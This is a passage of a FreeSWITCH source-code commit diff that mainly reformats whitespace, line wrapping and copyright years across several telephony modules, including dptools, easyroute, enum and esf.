+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Waddya Daft? You almost called '%s' in an infinate loop!\n",
+ stupid);
cause = SWITCH_CAUSE_INVALID_IE_CONTENTS;
- } else if (switch_ivr_originate(session, new_session, &cause, d_dest, timelimit, NULL,
- cid_name_override, cid_num_override, outbound_profile, var_event, myflags, cancel_cause) == SWITCH_STATUS_SUCCESS) {
+ } else if (switch_ivr_originate(session, new_session, &cause, d_dest, timelimit, NULL,
+ cid_name_override, cid_num_override, outbound_profile, var_event, myflags,
+ cancel_cause) == SWITCH_STATUS_SUCCESS) {
const char *context;
switch_caller_profile_t *cp;
@@ -2812,7 +2823,7 @@
if (params) {
switch_event_destroy(¶ms);
}
-
+
if (var_event && var_event_orig != var_event) {
switch_event_destroy(&var_event);
}
@@ -2851,7 +2862,7 @@
uint32_t thresh, silence_hits, listen_hits, timeout_ms = 0;
int argc;
char *lbuf = NULL;
-
+
if (!zstr(data) && (lbuf = switch_core_session_strdup(session, data))
&& (argc = switch_separate_string(lbuf, ' ', argv, (sizeof(argv) / sizeof(argv[0])))) >= 3) {
thresh = atoi(argv[0]);
@@ -2869,8 +2880,8 @@
return;
}
- }
-
+ }
+
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Usage: %s\n", WAIT_FOR_SILENCE_SYNTAX);
}
@@ -2880,12 +2891,17 @@
switch_event_t *event;
if (switch_event_create(&event, SWITCH_EVENT_RECV_MESSAGE) == SWITCH_STATUS_SUCCESS) {
- if (proto) switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Proto", proto);
- if (from) switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "From", from);
- if (subject) switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Subject", subject);
- if (hint) switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Hint", hint);
- if (body) switch_event_add_body(event, "%s", body);
- if (to) {
+ if (proto)
+ switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Proto", proto);
+ if (from)
+ switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "From", from);
+ if (subject)
+ switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Subject", subject);
+ if (hint)
+ switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Hint", hint);
+ if (body)
+ switch_event_add_body(event, "%s", body);
+ if (to) {
const char *v;
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "To", to);
if ((v = switch_core_get_variable(to))) {
@@ -2899,18 +2915,18 @@
switch_event_destroy(&event);
}
-
+
return SWITCH_STATUS_MEMERR;
}
static switch_status_t api_chat_send(const char *proto, const char *from, const char *to, const char *subject,
const char *body, const char *type, const char *hint)
{
- if (to) {
+ if (to) {
const char *v;
switch_stream_handle_t stream = { 0 };
char *cmd = NULL, *arg;
-
+
if (!(v = switch_core_get_variable(to))) {
v = to;
}
@@ -2928,16 +2944,15 @@
switch_api_execute(cmd, arg, NULL, &stream);
if (proto) {
- switch_core_chat_send(proto, "api", to, hint && strchr(hint, '/') ? hint : from,
- !zstr(type) ? type : NULL, (char *) stream.data, NULL, NULL);
+ switch_core_chat_send(proto, "api", to, hint && strchr(hint, '/') ? hint : from, !zstr(type) ? type : NULL, (char *) stream.data, NULL, NULL);
}
switch_safe_free(stream.data);
-
+
free(cmd);
}
-
+
return SWITCH_STATUS_SUCCESS;
}
@@ -2998,7 +3013,7 @@
SWITCH_ADD_CHAT(chat_interface, "event", event_chat_send);
SWITCH_ADD_CHAT(chat_interface, "api", api_chat_send);
-
+
SWITCH_ADD_API(api_interface, "strepoch", "Convert a date string into epoch time", strepoch_api_function, "<string>");
SWITCH_ADD_API(api_interface, "chat", "chat", chat_api_function, "<proto>|<from>|<to>|<message>|[<content-type>]");
SWITCH_ADD_API(api_interface, "strftime", "strftime", strftime_api_function, "<format_string>");
@@ -3016,7 +3031,8 @@
SAF_SUPPORT_NOMEDIA);
SWITCH_ADD_APP(app_interface, "check_acl", "Check an ip against an ACL list", "Check an ip against an ACL list", check_acl_function,
"<ip> <acl | cidr> [<hangup_cause>]", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
- SWITCH_ADD_APP(app_interface, "verbose_events", "Make ALL Events verbose.", "Make ALL Events verbose.", verbose_events_function, "", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
+ SWITCH_ADD_APP(app_interface, "verbose_events", "Make ALL Events verbose.", "Make ALL Events verbose.", verbose_events_function, "",
+ SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
SWITCH_ADD_APP(app_interface, "early_hangup", "Enable early hangup", "", early_hangup_function, "", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
SWITCH_ADD_APP(app_interface, "sleep", "Pause a channel", SLEEP_LONG_DESC, sleep_function, "<pausemilliseconds>", SAF_SUPPORT_NOMEDIA);
SWITCH_ADD_APP(app_interface, "delay_echo", "echo audio at a specified delay", "Delay n ms", delay_function, "<delay ms>", SAF_NONE);
@@ -3027,19 +3043,23 @@
SWITCH_ADD_APP(app_interface, "answer", "Answer the call", "Answer the call for a channel.", answer_function, "", SAF_SUPPORT_NOMEDIA);
SWITCH_ADD_APP(app_interface, "hangup", "Hangup the call", "Hangup the call for a channel.", hangup_function, "[<cause>]", SAF_SUPPORT_NOMEDIA);
SWITCH_ADD_APP(app_interface, "set_name", "Name the channel", "Name the channel", set_name_function, "<name>", SAF_SUPPORT_NOMEDIA);
- SWITCH_ADD_APP(app_interface, "presence", "Send Presence", "Send Presence.", presence_function, "<rpid> <status> [<id>]", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
- SWITCH_ADD_APP(app_interface, "log", "Logs to the logger", LOG_LONG_DESC, log_function, "<log_level> <log_string>", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
+ SWITCH_ADD_APP(app_interface, "presence", "Send Presence", "Send Presence.", presence_function, "<rpid> <status> [<id>]",
+ SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
+ SWITCH_ADD_APP(app_interface, "log", "Logs to the logger", LOG_LONG_DESC, log_function, "<log_level> <log_string>",
+ SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
SWITCH_ADD_APP(app_interface, "info", "Display Call Info", "Display Call Info", info_function, "", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
SWITCH_ADD_APP(app_interface, "event", "Fire an event", "Fire an event", event_function, "", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
SWITCH_ADD_APP(app_interface, "sound_test", "Analyze Audio", "Analyze Audio", sound_test_function, "", SAF_NONE);
SWITCH_ADD_APP(app_interface, "export", "Export a channel variable across a bridge", EXPORT_LONG_DESC, export_function, "<varname>=<value>",
SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
- SWITCH_ADD_APP(app_interface, "set", "Set a channel variable", SET_LONG_DESC, set_function, "<varname>=<value>", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
+ SWITCH_ADD_APP(app_interface, "set", "Set a channel variable", SET_LONG_DESC, set_function, "<varname>=<value>",
+ SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
SWITCH_ADD_APP(app_interface, "set_global", "Set a global variable", SET_GLOBAL_LONG_DESC, set_global_function, "<varname>=<value>",
SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
SWITCH_ADD_APP(app_interface, "set_profile_var", "Set a caller profile variable", SET_PROFILE_VAR_LONG_DESC, set_profile_var_function,
"<varname>=<value>", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
- SWITCH_ADD_APP(app_interface, "unset", "Unset a channel variable", UNSET_LONG_DESC, unset_function, "<varname>", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
+ SWITCH_ADD_APP(app_interface, "unset", "Unset a channel variable", UNSET_LONG_DESC, unset_function, "<varname>",
+ SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
SWITCH_ADD_APP(app_interface, "ring_ready", "Indicate Ring_Ready", "Indicate Ring_Ready on a channel.", ring_ready_function, "", SAF_SUPPORT_NOMEDIA);
SWITCH_ADD_APP(app_interface, "remove_bugs", "Remove media bugs", "Remove all media bugs from a channel.", remove_bugs_function, "", SAF_NONE);
SWITCH_ADD_APP(app_interface, "break", "Break", "Set the break flag.", break_function, "", SAF_SUPPORT_NOMEDIA);
@@ -3063,21 +3083,22 @@
SWITCH_ADD_APP(app_interface, "sched_transfer", SCHED_TRANSF_DESCR, SCHED_TRANSF_DESCR, sched_transfer_function,
"[+]<time> <extension> <dialplan> <context>", SAF_SUPPORT_NOMEDIA);
SWITCH_ADD_APP(app_interface, "execute_extension", "Execute an extension", "Execute an extension", exe_function, EXE_SYNTAX, SAF_SUPPORT_NOMEDIA);
- SWITCH_ADD_APP(app_interface, "sched_heartbeat", "Enable Scheduled Heartbeat", "Enable Scheduled Heartbeat",
+ SWITCH_ADD_APP(app_interface, "sched_heartbeat", "Enable Scheduled Heartbeat", "Enable Scheduled Heartbeat",
sched_heartbeat_function, SCHED_HEARTBEAT_SYNTAX, SAF_SUPPORT_NOMEDIA);
- SWITCH_ADD_APP(app_interface, "enable_heartbeat", "Enable Media Heartbeat", "Enable Media Heartbeat",
+ SWITCH_ADD_APP(app_interface, "enable_heartbeat", "Enable Media Heartbeat", "Enable Media Heartbeat",
heartbeat_function, HEARTBEAT_SYNTAX, SAF_SUPPORT_NOMEDIA);
SWITCH_ADD_APP(app_interface, "mkdir", "Create a directory", "Create a directory", mkdir_function, MKDIR_SYNTAX, SAF_SUPPORT_NOMEDIA);
SWITCH_ADD_APP(app_interface, "soft_hold", "Put a bridged channel on hold", "Put a bridged channel on hold", soft_hold_function, SOFT_HOLD_SYNTAX,
SAF_NONE);
SWITCH_ADD_APP(app_interface, "bind_meta_app", "Bind a key to an application", "Bind a key to an application", dtmf_bind_function, BIND_SYNTAX,
SAF_SUPPORT_NOMEDIA);
- SWITCH_ADD_APP(app_interface, "unbind_meta_app", "Unbind a key from an application", "Unbind a key from an application", dtmf_unbind_function,
+ SWITCH_ADD_APP(app_interface, "unbind_meta_app", "Unbind a key from an application", "Unbind a key from an application", dtmf_unbind_function,
UNBIND_SYNTAX, SAF_SUPPORT_NOMEDIA);
SWITCH_ADD_APP(app_interface, "intercept", "intercept", "intercept", intercept_function, INTERCEPT_SYNTAX, SAF_NONE);
SWITCH_ADD_APP(app_interface, "eavesdrop", "eavesdrop on a uuid", "eavesdrop on a uuid", eavesdrop_function, eavesdrop_SYNTAX, SAF_MEDIA_TAP);
- SWITCH_ADD_APP(app_interface, "three_way", "three way call with a uuid", "three way call with a uuid", three_way_function, threeway_SYNTAX, SAF_MEDIA_TAP);
- SWITCH_ADD_APP(app_interface, "set_user", "Set a User", "Set a User", set_user_function, SET_USER_SYNTAX, SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC );
+ SWITCH_ADD_APP(app_interface, "three_way", "three way call with a uuid", "three way call with a uuid", three_way_function, threeway_SYNTAX,
+ SAF_MEDIA_TAP);
+ SWITCH_ADD_APP(app_interface, "set_user", "Set a User", "Set a User", set_user_function, SET_USER_SYNTAX, SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
SWITCH_ADD_APP(app_interface, "stop_dtmf", "stop inband dtmf", "Stop detecting inband dtmf.", stop_dtmf_session_function, "", SAF_NONE);
SWITCH_ADD_APP(app_interface, "start_dtmf", "Detect dtmf", "Detect inband dtmf on the session", dtmf_session_function, "", SAF_MEDIA_TAP);
SWITCH_ADD_APP(app_interface, "stop_dtmf_generate", "stop inband dtmf generation", "Stop generating inband dtmf.",
@@ -3092,11 +3113,11 @@
SWITCH_ADD_APP(app_interface, "park_state", "Park State", "Park State", park_state_function, "", SAF_NONE);
SWITCH_ADD_APP(app_interface, "gentones", "Generate Tones", "Generate tones to the channel", gentones_function, "<tgml_script>[|<loops>]", SAF_NONE);
SWITCH_ADD_APP(app_interface, "playback", "Playback File", "Playback a file to the channel", playback_function, "<path>", SAF_NONE);
- SWITCH_ADD_APP(app_interface, "endless_playback", "Playback File Endlessly", "Endlessly Playback a file to the channel",
+ SWITCH_ADD_APP(app_interface, "endless_playback", "Playback File Endlessly", "Endlessly Playback a file to the channel",
endless_playback_function, "<path>", SAF_NONE);
SWITCH_ADD_APP(app_interface, "att_xfer", "Attended Transfer", "Attended Transfer", att_xfer_function, "<channel_url>", SAF_NONE);
SWITCH_ADD_APP(app_interface, "read", "Read Digits", "Read Digits", read_function, "<min> <max> <file> <var_name> <timeout> <terminators>", SAF_NONE);
- SWITCH_ADD_APP(app_interface, "play_and_get_digits", "Play and get Digits", "Play and get Digits",
+ SWITCH_ADD_APP(app_interface, "play_and_get_digits", "Play and get Digits", "Play and get Digits",
play_and_get_digits_function, "<min> <max> <tries> <timeout> <terminators> <file> <invalid_file> <var_name> <regexp>", SAF_NONE);
SWITCH_ADD_APP(app_interface, "stop_record_session", "Stop Record Session", STOP_SESS_REC_DESC, stop_record_session_function, "<path>", SAF_NONE);
SWITCH_ADD_APP(app_interface, "record_session", "Record Session", SESS_REC_DESC, record_session_function, "<path> [+<timeout>]", SAF_MEDIA_TAP);
@@ -3116,8 +3137,10 @@
SAF_SUPPORT_NOMEDIA);
SWITCH_ADD_APP(app_interface, "say", "say", "say", say_function, SAY_SYNTAX, SAF_NONE);
- SWITCH_ADD_APP(app_interface, "wait_for_silence", "wait_for_silence", "wait_for_silence", wait_for_silence_function, WAIT_FOR_SILENCE_SYNTAX, SAF_NONE);
- SWITCH_ADD_APP(app_interface, "session_loglevel", "session_loglevel", "session_loglevel", session_loglevel_function, SESSION_LOGLEVEL_SYNTAX, SAF_SUPPORT_NOMEDIA);
+ SWITCH_ADD_APP(app_interface, "wait_for_silence", "wait_for_silence", "wait_for_silence", wait_for_silence_function, WAIT_FOR_SILENCE_SYNTAX,
+ SAF_NONE);
+ SWITCH_ADD_APP(app_interface, "session_loglevel", "session_loglevel", "session_loglevel", session_loglevel_function, SESSION_LOGLEVEL_SYNTAX,
+ SAF_SUPPORT_NOMEDIA);
SWITCH_ADD_DIALPLAN(dp_interface, "inline", inline_dialplan_hunt);
Modified: freeswitch/trunk/src/mod/applications/mod_easyroute/mod_easyroute.c (16578 => 16579)
--- freeswitch/trunk/src/mod/applications/mod_easyroute/mod_easyroute.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_easyroute/mod_easyroute.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -38,22 +38,22 @@
#include <switch.h>
-typedef struct easyroute_results{
- char limit[16];
- char dialstring[256];
- char group[16];
- char acctcode[17];
- char translated[17];
+typedef struct easyroute_results {
+ char limit[16];
+ char dialstring[256];
+ char group[16];
+ char acctcode[17];
+ char translated[17];
} easyroute_results_t;
typedef struct route_callback {
- char gateway[129];
- char group[129];
- char techprofile[129];
- char limit[129];
- char acctcode[129];
- char translated[17];
+ char gateway[129];
+ char group[129];
+ char techprofile[129];
+ char limit[129];
+ char acctcode[129];
+ char translated[17];
} route_callback_t;
static struct {
@@ -97,13 +97,13 @@
char *cf = "easyroute.conf";
switch_xml_t cfg, xml = NULL, param, settings;
switch_status_t status = SWITCH_STATUS_SUCCESS;
-
+
if (!(xml = switch_xml_open_cfg(cf, &cfg, NULL))) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "open of %s failed\n", cf);
status = SWITCH_STATUS_FALSE;
goto done;
}
-
+
if ((settings = switch_xml_child(cfg, "settings"))) {
for (param = switch_xml_child(settings, "param"); param; param = param->next) {
char *var = (char *) switch_xml_attr_soft(param, "name");
@@ -123,8 +123,8 @@
}
}
}
-
- done:
+
+ done:
if (zstr(globals.db_username)) {
set_global_db_username("root");
}
@@ -151,7 +151,7 @@
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Opened ODBC Database!\n");
}
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Connected ODBC DSN: %s\n", globals.db_dsn);
- if (!globals.custom_query){
+ if (!globals.custom_query) {
if (switch_odbc_handle_exec(globals.master_odbc, "select count(*) from numbers", NULL, NULL) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Cannot find SQL Database! (Where\'s the numbers table\?\?)\n");
}
@@ -163,7 +163,7 @@
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Cannot Open ODBC Connection (did you enable it?!)\n");
}
- reallydone:
+ reallydone:
if (xml) {
switch_xml_free(xml);
@@ -177,76 +177,77 @@
return status;
}
-static char SQL_LOOKUP[] = "SELECT gateways.gateway_ip, gateways.group, gateways.limit, gateways.techprofile, numbers.acctcode, numbers.translated from gateways, numbers where numbers.number = '%q' and numbers.gateway_id = gateways.gateway_id limit 1;";
+static char SQL_LOOKUP[] =
+ "SELECT gateways.gateway_ip, gateways.group, gateways.limit, gateways.techprofile, numbers.acctcode, numbers.translated from gateways, numbers where numbers.number = '%q' and numbers.gateway_id = gateways.gateway_id limit 1;";
static switch_status_t route_lookup(char *dn, easyroute_results_t *results, int noat, char *separator)
-{
+{
switch_status_t sstatus = SWITCH_STATUS_SUCCESS;
char *sql = NULL;
route_callback_t pdata;
if (!switch_odbc_available()) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT,
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT,
"mod_easyroute requires core ODBC support. Please refer to the documentation on how to enable this\n");
return sstatus;
}
memset(&pdata, 0, sizeof(pdata));
- if (!globals.custom_query){
+ if (!globals.custom_query) {
sql = switch_mprintf(SQL_LOOKUP, dn);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Doing static Query\n[%s]\n", sql);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Doing static Query\n[%s]\n", sql);
} else {
sql = switch_mprintf(globals.custom_query, dn);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Doing custom Query\n[%s]\n", sql);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Doing custom Query\n[%s]\n", sql);
}
- if (globals.mutex){
+ if (globals.mutex) {
switch_mutex_lock(globals.mutex);
}
/* Do the Query */
- if (switch_odbc_handle_callback_exec(globals.master_odbc, sql, route_callback, &pdata, NULL) == SWITCH_ODBC_SUCCESS){
+ if (switch_odbc_handle_callback_exec(globals.master_odbc, sql, route_callback, &pdata, NULL) == SWITCH_ODBC_SUCCESS) {
char tmp_profile[129];
char tmp_gateway[129];
if (zstr(pdata.limit)) {
- switch_set_string(results->limit, "9999" );
+ switch_set_string(results->limit, "9999");
} else {
- switch_set_string(results->limit, pdata.limit );
+ switch_set_string(results->limit, pdata.limit);
}
- if (zstr(pdata.techprofile)){
+ if (zstr(pdata.techprofile)) {
switch_set_string(tmp_profile, globals.default_techprofile);
} else {
switch_set_string(tmp_profile, pdata.techprofile);
}
- if (zstr(pdata.gateway)){
+ if (zstr(pdata.gateway)) {
switch_set_string(tmp_gateway, globals.default_gateway);
} else {
switch_set_string(tmp_gateway, pdata.gateway);
}
- if (zstr(pdata.translated)){
+ if (zstr(pdata.translated)) {
switch_set_string(results->translated, dn);
} else {
switch_set_string(results->translated, pdata.translated);
}
if (noat) {
- switch_snprintf(results->dialstring, 256, "%s/%s%s", tmp_profile , results->translated, tmp_gateway);
+ switch_snprintf(results->dialstring, 256, "%s/%s%s", tmp_profile, results->translated, tmp_gateway);
} else if (separator) {
- switch_snprintf(results->dialstring, 256, "%s/%s%s%s", tmp_profile , results->translated, separator, tmp_gateway);
+ switch_snprintf(results->dialstring, 256, "%s/%s%s%s", tmp_profile, results->translated, separator, tmp_gateway);
} else {
- switch_snprintf(results->dialstring, 256, "%s/%s@%s", tmp_profile , results->translated, tmp_gateway);
+ switch_snprintf(results->dialstring, 256, "%s/%s@%s", tmp_profile, results->translated, tmp_gateway);
}
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "THE ROUTE [%s]\n", results->dialstring);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "THE ROUTE [%s]\n", results->dialstring);
- if (zstr(pdata.group)){
+ if (zstr(pdata.group)) {
switch_set_string(results->group, "");
} else {
switch_set_string(results->group, pdata.group);
}
- if (zstr(pdata.acctcode)){
+ if (zstr(pdata.acctcode)) {
switch_set_string(results->acctcode, "");
} else {
switch_set_string(results->acctcode, pdata.acctcode);
@@ -254,11 +255,11 @@
} else {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "DB Error Setting Default Route!\n");
switch_set_string(results->limit, "9999");
- if (noat){
+ if (noat) {
switch_snprintf(results->dialstring, 256, "%s/%s%s", globals.default_techprofile, dn, globals.default_gateway);
- } else if (separator){
+ } else if (separator) {
switch_snprintf(results->dialstring, 256, "%s/%s%s%s", globals.default_techprofile, dn, separator, globals.default_gateway);
- } else {
+ } else {
switch_snprintf(results->dialstring, 256, "%s/%s@%s", globals.default_techprofile, dn, globals.default_gateway);
}
switch_set_string(results->group, "");
@@ -267,7 +268,7 @@
switch_safe_free(sql);
- if (globals.mutex){
+ if (globals.mutex) {
switch_mutex_unlock(globals.mutex);
}
return sstatus;
@@ -278,7 +279,7 @@
int argc = 0;
char *argv[4] = { 0 };
char *mydata = NULL;
- char *destnum = NULL;
+ char *destnum = NULL;
int noat = 0;
char *separator = NULL;
@@ -289,18 +290,18 @@
if (!channel) {
return;
}
-
+
if (!(mydata = switch_core_session_strdup(session, data))) {
return;
}
-
+
if ((argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
destnum = argv[0];
if (argc == 2) {
if (!strcasecmp(argv[1], "noat")) {
noat = 1;
} else if (!strcasecmp(argv[1], "separator")) {
- if (argc == 3){
+ if (argc == 3) {
switch_set_string(separator, argv[2]);
}
}
@@ -325,7 +326,7 @@
int noat = 0;
easyroute_results_t results;
switch_status_t status = SWITCH_STATUS_SUCCESS;
-
+
if (session) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "This function cannot be called from the dialplan.\n");
status = SWITCH_STATUS_FALSE;
@@ -337,39 +338,40 @@
status = SWITCH_STATUS_SUCCESS;
goto done;
}
-
+
if (!cmd || !(mydata = strdup(cmd))) {
stream->write_function(stream, "Usage: easyroute <number>\n");
status = SWITCH_STATUS_SUCCESS;
goto done;
}
-
+
if ((argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
destnum = argv[0];
- if (argc < 1 || argc > 3){
+ if (argc < 1 || argc > 3) {
stream->write_function(stream, "Invalid Input!\n");
status = SWITCH_STATUS_SUCCESS;
goto done;
- }
+ }
if (argc == 2) {
if (!strcasecmp(argv[1], "noat")) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Entering noat.\n");
noat = 1;
} else if (!strcasecmp(argv[1], "separator")) {
- if (argc == 3){
+ if (argc == 3) {
switch_set_string(separator, argv[2]);
}
}
}
-
+
if (!route_lookup(destnum, &results, noat, separator) == SWITCH_STATUS_SUCCESS) {
stream->write_function(stream, "No Match!\n");
status = SWITCH_STATUS_SUCCESS;
goto done;
}
- if (argc != 2){
+ if (argc != 2) {
stream->write_function(stream, "Number \tLimit \tGroup \tAcctCode \tDialstring\n");
- stream->write_function(stream, "%-10s\t%-10s\t%-10s\t%-10s\t%s\n", destnum, results.limit, results.group, results.acctcode, results.dialstring);
+ stream->write_function(stream, "%-10s\t%-10s\t%-10s\t%-10s\t%s\n", destnum, results.limit, results.group, results.acctcode,
+ results.dialstring);
} else {
if (!strncasecmp(argv[1], "dialstring", 10)) {
stream->write_function(stream, "%s", results.dialstring);
@@ -386,12 +388,12 @@
status = SWITCH_STATUS_SUCCESS;
goto done;
}
- }
+ }
} else {
stream->write_function(stream, "Invalid Input!\n");
}
-
- done:
+
+ done:
switch_safe_free(mydata);
return status;
}
@@ -400,21 +402,22 @@
{
switch_api_interface_t *api_interface;
switch_application_interface_t *app_interface;
-
+
memset(&globals, 0, sizeof(globals));
load_config();
-
+
/* connect my internal structure to the blank pointer passed to me */
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
SWITCH_ADD_API(api_interface, "easyroute", "EasyRoute", easyroute_function, "");
- SWITCH_ADD_APP(app_interface, "easyroute", "Perform an easyroute lookup", "Perform an easyroute lookup", easyroute_app_function, "<number>", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
-
+ SWITCH_ADD_APP(app_interface, "easyroute", "Perform an easyroute lookup", "Perform an easyroute lookup", easyroute_app_function, "<number>",
+ SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
+
/* indicate that the module should continue to be loaded */
return SWITCH_STATUS_SUCCESS;
}
SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_easyroute_shutdown)
-{
+{
switch_odbc_handle_disconnect(globals.master_odbc);
switch_safe_free(globals.db_username);
switch_safe_free(globals.db_password);
Modified: freeswitch/trunk/src/mod/applications/mod_enum/mod_enum.c (16578 => 16579)
--- freeswitch/trunk/src/mod/applications/mod_enum/mod_enum.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_enum/mod_enum.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -251,7 +251,7 @@
}
}
-static void free_results(enum_record_t **results)
+static void free_results(enum_record_t ** results)
{
enum_record_t *fp, *rp;
@@ -447,7 +447,7 @@
free(result);
}
-static switch_status_t enum_lookup(char *root, char *in, enum_record_t **results)
+static switch_status_t enum_lookup(char *root, char *in, enum_record_t ** results)
{
switch_status_t sstatus = SWITCH_STATUS_SUCCESS;
char *name = NULL;
@@ -829,7 +829,7 @@
memset(&globals, 0, sizeof(globals));
do_load();
-
+
/* connect my internal structure to the blank pointer passed to me */
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
SWITCH_ADD_API(api_interface, "enum", "ENUM", enum_function, "");
@@ -850,7 +850,7 @@
if (globals.pool) {
switch_core_destroy_memory_pool(&globals.pool);
}
-
+
switch_safe_free(globals.root);
switch_safe_free(globals.isn_root);
Modified: freeswitch/trunk/src/mod/applications/mod_esf/mod_esf.c (16578 => 16579)
--- freeswitch/trunk/src/mod/applications/mod_esf/mod_esf.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_esf/mod_esf.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -78,10 +78,10 @@
switch_port_t mcast_control_port = 6061;
char *mcast_port_str = "34567";
const char *esf_broadcast_ip = NULL, *var;
- switch_codec_implementation_t read_impl = {0};
+ switch_codec_implementation_t read_impl = { 0 };
int mcast_ttl = 1;
- switch_core_session_get_read_impl(session, &read_impl);
+ switch_core_session_get_read_impl(session, &read_impl);
if (!zstr((char *) data)) {
mydata = switch_core_session_strdup(session, data);
@@ -105,7 +105,7 @@
if (!zstr(argv[2])) {
mcast_control_port = (switch_port_t) atoi(argv[2]);
}
-
+
if (!zstr(argv[3])) {
mcast_ttl = atoi(argv[3]);
if (mcast_ttl < 1 || mcast_ttl > 255) {
@@ -136,7 +136,7 @@
goto fail;
}
- if (switch_mcast_hops(socket, (uint8_t)mcast_ttl) != SWITCH_STATUS_SUCCESS) {
+ if (switch_mcast_hops(socket, (uint8_t) mcast_ttl) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Mutlicast TTL set failed\n");
goto fail;
}
@@ -201,8 +201,7 @@
mcast_port,
read_impl.ianacode,
read_impl.samples_per_packet,
- read_impl.microseconds_per_packet,
- (switch_rtp_flag_t) flags, "soft", &err, switch_core_session_get_pool(session));
+ read_impl.microseconds_per_packet, (switch_rtp_flag_t) flags, "soft", &err, switch_core_session_get_pool(session));
if (!switch_rtp_ready(rtp_session)) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "RTP Error\n");
Modified: freeswitch/trunk/src/mod/applications/mod_expr/conio.h (16578 => 16579)
--- freeswitch/trunk/src/mod/applications/mod_expr/conio.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_expr/conio.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -20,25 +20,24 @@
#define BLINK 0
-typedef enum
-{
- BLACK,
- BLUE,
- GREEN,
- CYAN,
- RED,
- MAGENTA,
- BROWN,
